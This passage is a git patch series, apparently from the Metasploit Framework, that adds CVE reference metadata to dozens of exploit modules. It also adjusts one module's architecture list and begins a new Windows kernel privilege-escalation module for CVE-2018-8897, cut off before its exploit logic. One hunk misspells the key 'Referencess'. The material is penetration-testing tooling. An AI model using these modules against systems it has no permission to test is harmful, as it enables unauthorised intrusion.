'2015-8103' ], [ 'URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/' ] ], 'Targets' => diff --git a/modules/exploits/linux/misc/qnap_transcode_server.rb b/modules/exploits/linux/misc/qnap_transcode_server.rb index 0eeb3da832..56ff31331e 100644 --- a/modules/exploits/linux/misc/qnap_transcode_server.rb +++ b/modules/exploits/linux/misc/qnap_transcode_server.rb @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'linux', 'References' => [ + [ 'CVE', '2017-13067' ], [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ], [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ] ], diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 01a79802b4..4a755c7323 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -37,6 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2007-3280' ], [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ] ], 'Platform' => 'linux', diff --git a/modules/exploits/linux/ssh/mercurial_ssh_exec.rb b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb index 3a8771c97c..ead4047928 100644 --- a/modules/exploits/linux/ssh/mercurial_ssh_exec.rb +++ b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-9462' ], ['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29'] ], 'DefaultOptions' => diff --git a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb index ad3d313285..1a6a65a623 100644 --- a/modules/exploits/linux/ssh/solarwinds_lem_exec.rb +++ b/modules/exploits/linux/ssh/solarwinds_lem_exec.rb @@ -25,7 +25,8 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] + ['CVE', '2017-7722'], + ['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/'] ], 'DefaultOptions' => { diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index 2caa9da10b..cb5b080da9 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2016-5641' ], [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] ], diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 1b22d2a3d6..1f5cf04bf6 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2015-7309'], ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html'] ], 'DisclosureDate' => 'Aug 17 2015', diff --git a/modules/exploits/multi/http/clipbucket_fileupload_exec.rb b/modules/exploits/multi/http/clipbucket_fileupload_exec.rb index d9c9f3016e..1d53d42ad1 100644 --- a/modules/exploits/multi/http/clipbucket_fileupload_exec.rb +++ b/modules/exploits/multi/http/clipbucket_fileupload_exec.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2018-7665' ], [ 'EDB', '44250' ] ], 'DefaultOptions' => diff --git a/modules/exploits/multi/http/gitlist_arg_injection.rb b/modules/exploits/multi/http/gitlist_arg_injection.rb index 477a0b4cd5..1792d8f371 100644 --- a/modules/exploits/multi/http/gitlist_arg_injection.rb +++ b/modules/exploits/multi/http/gitlist_arg_injection.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2018-1000533' ], [ 'EDB', '44548' ], [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html'] ], diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 6e1ace26ff..d73aa1131f 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -31,6 +31,8 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2012-3260' ], + [ 'CVE', '2012-3261' ], [ 'OSVDB', '85121' ], [ 'OSVDB', '85151' ], [ 'BID', '55269' ], diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index f6ac1d489e..dbf0756c82 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -31,6 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2011-0518' ], [ 'OSVDB', '75095' ], [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ] ], diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 4e1dfa9d03..cf58157786 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2015-6967'], ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] ], 'DisclosureDate' => 'Sep 01 2015', diff --git a/modules/exploits/multi/http/orientdb_exec.rb b/modules/exploits/multi/http/orientdb_exec.rb index c7c4530984..7a231092a0 100644 --- a/modules/exploits/multi/http/orientdb_exec.rb +++ b/modules/exploits/multi/http/orientdb_exec.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2017-11467'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'], ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'], ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'] diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 2c97d518c2..2a40b32863 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -23,6 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2015-5958' ], [ 'EDB', '37709' ], [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website ], diff --git a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb index 21b5096d2b..0bd49cf376 100644 --- a/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb +++ b/modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2015-5371'], ['ZDI', '14-299'] ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index f7dae1e7ff..82c8853733 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2012-0938' ], [ 'OSVDB', '85446' ], [ 'EDB', '20500' ], [ 'URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/' ] diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb index 25dd0dd60d..96d2727d56 100644 --- a/modules/exploits/multi/http/x7chat2_php_exec.rb +++ b/modules/exploits/multi/http/x7chat2_php_exec.rb @@ -26,6 +26,8 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'BID', '71014' ], + [ 'CVE', '2014-8998' ], # Using this URL because isn't nothing else atm ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076'] ], diff --git a/modules/exploits/osx/local/dyld_print_to_file_root.rb b/modules/exploits/osx/local/dyld_print_to_file_root.rb index 0144e14a72..f4e7ddd504 100644 --- a/modules/exploits/osx/local/dyld_print_to_file_root.rb +++ b/modules/exploits/osx/local/dyld_print_to_file_root.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Local 'joev' # Copy/paste monkey ], 'References' => [ + ['CVE', '2015-3760'], ['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'], ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/'] ], diff --git a/modules/exploits/osx/local/root_no_password.rb b/modules/exploits/osx/local/root_no_password.rb index 740817ffb4..be7853ad2a 100644 --- a/modules/exploits/osx/local/root_no_password.rb +++ b/modules/exploits/osx/local/root_no_password.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Exploit::Local 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2017-13872' ], [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ], [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ], [ 'URL', 'https://forums.developer.apple.com/thread/79235' ], diff --git a/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb b/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb index 9735062a30..44b97b0818 100644 --- a/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb +++ b/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2017-5255'], ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'], ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'] ], diff --git a/modules/exploits/unix/http/pfsense_clickjacking.rb b/modules/exploits/unix/http/pfsense_clickjacking.rb index 0ae6dc4de6..5ea8905011 100644 --- a/modules/exploits/unix/http/pfsense_clickjacking.rb +++ b/modules/exploits/unix/http/pfsense_clickjacking.rb @@ -27,6 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2017-1000479'], ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'], ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes'] ], diff --git a/modules/exploits/unix/http/pfsense_graph_injection_exec.rb b/modules/exploits/unix/http/pfsense_graph_injection_exec.rb index 5b951c1c36..05c0ba3bcf 100644 --- a/modules/exploits/unix/http/pfsense_graph_injection_exec.rb +++ b/modules/exploits/unix/http/pfsense_graph_injection_exec.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2016-10709' ], [ 'EDB', '39709' ], [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf'] ], diff --git a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb index aac11a89fe..aef1e7eea6 100644 --- a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb +++ b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb @@ -29,6 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2013-7102' ], [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ], [ 'WPVDB', '7441' ] ], diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb index 7b6dfe0cda..e491b48600 100644 --- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2015-1376'], ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'], ['OSVDB', '117145'], ['OSVDB', '117146'], diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index 1910ee035f..ad35e2b6db 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2014-9735'], ['OSVDB', '115118'], ['EDB', '35385'], ['WPVDB', '7954'], diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 4ae7c17443..25e7b7b841 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -29,6 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2009-0545' ], [ 'PACKETSTORM', '122799' ] ], 'Platform' => ['linux'], diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 5444a964bd..5ca59031c2 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -40,6 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2012-0284' ], [ 'OSVDB', '80297' ], [ 'EDB', '18641' ] ], diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index 975d18bdff..0be42ee597 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2010-5193' ], [ 'OSVDB', '78102' ], [ 'EDB', '15668' ], [ 'URL', 'http://secunia.com/advisories/42445/' ], diff --git a/modules/exploits/windows/fileformat/audio_coder_m3u.rb b/modules/exploits/windows/fileformat/audio_coder_m3u.rb index 0227c74536..5e9b486040 100644 --- a/modules/exploits/windows/fileformat/audio_coder_m3u.rb +++ b/modules/exploits/windows/fileformat/audio_coder_m3u.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-8870' ], [ 'OSVDB', '92939' ], [ 'EDB', '25141' ] ], diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index 7f9f88d099..72b90b3e16 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2015-1171' ], [ 'OSVDB', '81161' ], [ 'EDB', '14258' ] ], diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb index 6142d4dd4d..7f878e8c27 100644 --- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb +++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb @@ -27,6 +27,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-8869' ], [ 'OSVDB', '94522' ], [ 'EDB', '26403' ] ], diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index d223a757ad..b6db165206 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2009-2566' ], [ 'OSVDB', '80532' ], [ 'BID', '52698' ], [ 'EDB', '18656' ], # .m3u diff --git a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb index 865182a038..2235550608 100644 --- a/modules/exploits/windows/ftp/kmftp_utility_cwd.rb +++ b/modules/exploits/windows/ftp/kmftp_utility_cwd.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2015-7768' ], [ 'EBD', '37908' ] ], 'Privileged' => false, diff --git a/modules/exploits/windows/ftp/labf_nfsaxe.rb b/modules/exploits/windows/ftp/labf_nfsaxe.rb index 8422f9d35d..3711e44781 100644 --- a/modules/exploits/windows/ftp/labf_nfsaxe.rb +++ b/modules/exploits/windows/ftp/labf_nfsaxe.rb @@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2017-18047' ], [ 'EDB', '42011' ] ], 'Payload' => diff --git a/modules/exploits/windows/http/disksavvy_get_bof.rb b/modules/exploits/windows/http/disksavvy_get_bof.rb index 27a0c657b3..c83f731eab 100644 --- a/modules/exploits/windows/http/disksavvy_get_bof.rb +++ b/modules/exploits/windows/http/disksavvy_get_bof.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2017-6187'], ['EDB', '40869'] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/disksorter_bof.rb b/modules/exploits/windows/http/disksorter_bof.rb index b0cd822761..478c871a3c 100644 --- a/modules/exploits/windows/http/disksorter_bof.rb +++ b/modules/exploits/windows/http/disksorter_bof.rb @@ -35,6 +35,10 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", 'Space' => 500 }, + 'References' => + [ + [ 'CVE', '2017-7230' ] + ], 'Targets' => [ [ 'Disk Sorter Enterprise v9.5.12', diff --git a/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb b/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb index 999138110a..ff76825a92 100644 --- a/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb +++ b/modules/exploits/windows/http/dup_scout_enterprise_login_bof.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-13696' ], [ 'EDB', '43145' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb index 04ca8f396b..1b90427d30 100644 --- a/modules/exploits/windows/http/efs_fmws_userid_bof.rb +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['CVE', '2014-3791'], ['OSVDB', '107241'], ['EDB', '33610'], ['BID', '67542'], diff --git a/modules/exploits/windows/http/syncbreeze_bof.rb b/modules/exploits/windows/http/syncbreeze_bof.rb index 21b6f74727..b91448311e 100644 --- a/modules/exploits/windows/http/syncbreeze_bof.rb +++ b/modules/exploits/windows/http/syncbreeze_bof.rb @@ -38,6 +38,10 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", 'Space' => 500 }, + 'References' => + [ + [ 'CVE', '2017-14980' ], + ], 'Targets' => [ [ diff --git a/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb b/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb index 371ebd3215..d9cf3a007c 100644 --- a/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb +++ b/modules/exploits/windows/http/trendmicro_officescan_widget_exec.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2017-11394'], ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'], ], diff --git a/modules/exploits/windows/local/ipass_launch_app.rb b/modules/exploits/windows/local/ipass_launch_app.rb index 7d076cb84f..c81110657b 100644 --- a/modules/exploits/windows/local/ipass_launch_app.rb +++ b/modules/exploits/windows/local/ipass_launch_app.rb @@ -43,6 +43,7 @@ class MetasploitModule < Msf::Exploit::Local }, 'References' => [ + ['CVE', '2015-0925'], ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt'] ], 'DisclosureDate' => 'Mar 12 2015', diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 620b6ed00d..d5d9e22099 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -53,6 +53,7 @@ class MetasploitModule < Msf::Exploit::Local }, 'References' => [ + [ 'CVE', '2013-3956' ], [ 'OSVDB', '93718' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'URL', 'http://pastebin.com/GB4iiEwR' ] diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index e38ec9cb95..6d0daceceb 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -30,6 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2017-17932' ], [ 'OSVDB', '83889' ], [ 'EDB', '19625' ] ], diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index 3b4711a308..3aac429c1d 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2009-4660' ], [ 'OSVDB', '61386' ], [ 'EDB', '10765' ], [ 'EDB', '10973' ] diff --git a/modules/exploits/windows/misc/commvault_cmd_exec.rb b/modules/exploits/windows/misc/commvault_cmd_exec.rb index 7af4b96ef2..9294e27d54 100644 --- a/modules/exploits/windows/misc/commvault_cmd_exec.rb +++ b/modules/exploits/windows/misc/commvault_cmd_exec.rb @@ -29,6 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2017-18044'], ['URL', 'https://www.securifera.com/advisories/sec-2017-0001/'] ], 'Platform' => 'win', diff --git a/modules/exploits/windows/misc/disk_savvy_adm.rb b/modules/exploits/windows/misc/disk_savvy_adm.rb index de4da979a3..b039e46fe5 100644 --- a/modules/exploits/windows/misc/disk_savvy_adm.rb +++ b/modules/exploits/windows/misc/disk_savvy_adm.rb @@ -33,6 +33,10 @@ class MetasploitModule < Msf::Exploit::Remote 'BadChars' => "\x00\x02\x0a\x0d\xf8", 'Space' => 800 }, + 'Referencess' => + [ + [ 'CVE', '2018-6481' ] + ], 'Targets' => [ [ 'Disk Savvy Enterprise v10.4.18', diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index c22d293871..b53b6b3890 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -26,6 +26,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2017-17968' ], [ 'OSVDB', '61435' ], [ 'EDB', '10911'], ], diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index 87081fc3db..ca7a556330 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -37,6 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + ['CVE', '2014-100015'], ['EDB', '31831'], ['OSVDB', '103671'] ], diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index f1c2424914..37ba60ca8e 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -29,7 +29,8 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '87334'], + [ 'CVE', '2012-5932' ], + [ 'OSVDB', '87334' ], [ 'BID', '56539' ], [ 'EDB', '22738' ] ], diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 6bd16d159c..c3357cd345 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -28,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2012-2215' ], [ 'OSVDB', '65361' ], [ 'BID', '40486' ], [ 'ZDI', '10-090' ], diff --git a/modules/exploits/windows/smtp/sysgauge_client_bof.rb b/modules/exploits/windows/smtp/sysgauge_client_bof.rb index ef9f2f70af..92e6b4c925 100644 --- a/modules/exploits/windows/smtp/sysgauge_client_bof.rb +++ b/modules/exploits/windows/smtp/sysgauge_client_bof.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2017-6416' ], [ 'EDB', '41479' ], ], 'DefaultOptions' => From 35462860497437bd3c1db96badf646648a9ede35 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 17:37:06 -0500 Subject: [PATCH 146/217] Add missed ARCH_CMD to top-level Arch array It's not necessary because of targets, but it's required for printing. --- modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb index ed576fb9b4..ffe10bb79b 100644 --- a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb +++ b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 25 2018', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_X86, ARCH_X64], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', From cfcb77afd08c8d6b90b71cc7d471120d6a663c67 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 12 Jul 2018 17:41:06 -0500 Subject: [PATCH 147/217] Rename to please msftidy --- .../windows/local/cve_2018_8897_exe.rb | 136 ++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 modules/exploits/windows/local/cve_2018_8897_exe.rb diff --git a/modules/exploits/windows/local/cve_2018_8897_exe.rb b/modules/exploits/windows/local/cve_2018_8897_exe.rb new file mode 100644 index 0000000000..6e0ada3a83 --- /dev/null +++ b/modules/exploits/windows/local/cve_2018_8897_exe.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Kernel Elevation of Privilege Vulnerability', + 'Description' => %q{ + This module will upload a precompiled binary that uses CVE-2018-8897 + to elevate a second binary's privs.) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Can Bölük ', # PoC + 'bwatters-r7' # msf module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "May 08 2018", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'False' + } + )) + + register_options([ + 